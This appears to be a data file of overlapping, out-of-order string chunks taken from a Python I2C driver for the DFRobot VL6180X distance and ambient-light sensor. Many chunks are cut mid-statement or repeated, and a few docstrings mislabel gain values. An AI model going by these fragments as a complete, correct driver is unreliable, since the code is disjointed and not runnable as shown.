"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00])",
"ambient light @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW",
"20 times gain: VL6180X_ALS_GAIN_20 = 0 @n 10 times gain: VL6180X_ALS_GAIN_10 = 1",
"configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02,",
"=VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain = 1.0 self.__atime",
"@param addr The IIC address to be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr])",
"= 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START =",
"@n VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW value",
"= 7 @return true :Set up the success, false :Setup failed ''' def",
"in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms < 2550): period_ms =",
"data ,uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration",
"level of the INT pin and enable the GPIO1 interrupt function @param mode",
"smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain = 1.0 self.__atime =100 ''' @brief Initialize sensor",
"Measurement period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1",
"OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def als_config_interrupt(self,mode): if(mode",
"= 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8,",
"interrupt mode for ranging @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt mode for ranging @param mode Enable",
"= 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS =",
"0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT =",
"[self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | ( mode << 3 )",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging",
"measuring light intensity @param period_ms Measurement period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10):",
"<filename>python/raspberrypi/DFRobot_VL6180X.py # -*- coding: utf-8 -* \"\"\" file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure,",
"gain modes for ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 =",
"= self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00])",
"@n 20 times gain: VL6180X_ALS_GAIN_20 = 0 @n 10 times gain: VL6180X_ALS_GAIN_10 =",
"self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1])",
"self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain",
"( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging mode",
"''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set",
"Configure the interrupt mode for the ambient light @param mode Enable interrupt mode",
"self.__gain = 1.0 self.__atime =100 ''' @brief Initialize sensor @param CE The pin",
"threshold events reported @n VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high",
"GPIO1 interrupt enabled, INT high by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT",
"validation information for range data @return Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS])",
"ALS gain @param gain the value of gain(range 0-7) @n 20 times gain:",
"light intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03])",
"self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5):",
"def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief Initialize the sensor configuration",
"self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5):",
"disable @n VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW",
"0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031",
"sensor VL6180X_ID = 0xB4 # 8 gain modes for ambient light VL6180X_ALS_GAIN_20 =",
"False self.__init() return True ''' @brief Configure the default level of the INT",
"= 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR =",
"= value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt mode for",
"= 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR =",
"''' @brief Module init @param bus Set to IICBus @param addr Set to",
"self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07 return result '''",
"b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable continuous measurement of ambient",
"(result>>3) & 0x07 return result ''' @brief turn off interleaved mode ''' def",
"period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1 else:",
"@n 2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67 =",
"0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E",
"intensity @param period_ms Measurement period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period for",
"@n VL6180X_OUT_OF_WINDOW :value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set IIC addr @param",
"clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of ambient light @return return The",
"# The sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 =",
"0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D",
"= 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid ID of the sensor VL6180X_ID",
"disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high by default @n VL6180X_LOW_INTERRUPT",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt state of the ranging",
"1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5",
"self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain",
"selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3",
"[self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period for measuring",
"for ranging @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW",
"= 1.0 self.__atime =100 ''' @brief Initialize sensor @param CE The pin number",
"def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information for range",
"> thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result",
"= self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07 return result ''' @brief Gets the",
"VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH",
"elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A",
"VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR",
"gain @param gain the value of gain(range 0-7) @n 20 times gain: VL6180X_ALS_GAIN_20",
"\"\"\" file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation of underlying methods @copyright Copyright",
"light @return return The light intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8,",
"''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr)",
"value = (a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable",
"VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD",
"''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief Initialize the sensor",
"mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value < thresh_low",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt mode for the ambient light @param",
"times gain: VL6180X_ALS_GAIN_10 = 1 @n 5 times gain: VL6180X_ALS_GAIN_5 = 2 @n",
"of sensor @return Authentication information ''' def __get_device_id(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_IDENTIFICATION_MODEL_ID>>8, [self.VL6180X_IDENTIFICATION_MODEL_ID]) id = self.__i2cbus.read_byte(self.__i2c_addr)",
"self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30])",
"0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C",
"Clear ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient",
"Clear the ambient light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single",
"the interrupt state of the measured light intensity @return return status @n 0",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold Value @param thresholdL :Lower Threshold @param",
"[self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt state of the ranging @return",
"VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high",
"addr @param addr The IIC address to be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8,",
"''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8,",
"@n 10 times gain: VL6180X_ALS_GAIN_10 = 1 @n 5 times gain: VL6180X_ALS_GAIN_5 =",
"GPIO1 interrupt function @param mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n",
"@n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH",
"ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8,",
"@get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time import RPi.GPIO as",
"= 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief",
"single range @return return ranging data ,uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01])",
"VL6180X_NEW_SAMPLE_READY new sample ready ''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8,",
"[self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period for measuring light intensity @param",
"Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT) @author [yangfeng]<<EMAIL>>",
"# The valid ID of the sensor VL6180X_ID = 0xB4 # 8 gain",
"get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set IIC addr",
"set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold Value @param thresholdL",
"intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr)",
"> thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY",
"Threshold @param thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) '''",
"init @param bus Set to IICBus @param addr Set to IIC addr '''",
"Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l",
"5 @n 1 times gain: VL6180X_ALS_GAIN_1 = 6 @n 40 times gain: VL6180X_ALS_GAIN_40",
"=100 ''' @brief Initialize sensor @param CE The pin number attached to the",
"True ''' @brief get the identifier of sensor @return Authentication information ''' def",
"= 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE =",
"VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS",
"[self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data @return return",
"@brief Configure the default level of the INT pin and enable the GPIO1",
"return The light intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr)",
"addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr",
":Lower Threshold @param thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l *",
"''' @brief Set the ALS gain @param gain the value of gain(range 0-7)",
"0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT =",
"False failed. ''' def begin(self): device_id = self.__get_device_id() if device_id != self.VL6180X_ID: return",
"@n VL6180X_NEW_SAMPLE_READY new sample ready ''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False",
"> thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result",
"VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD",
"0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C",
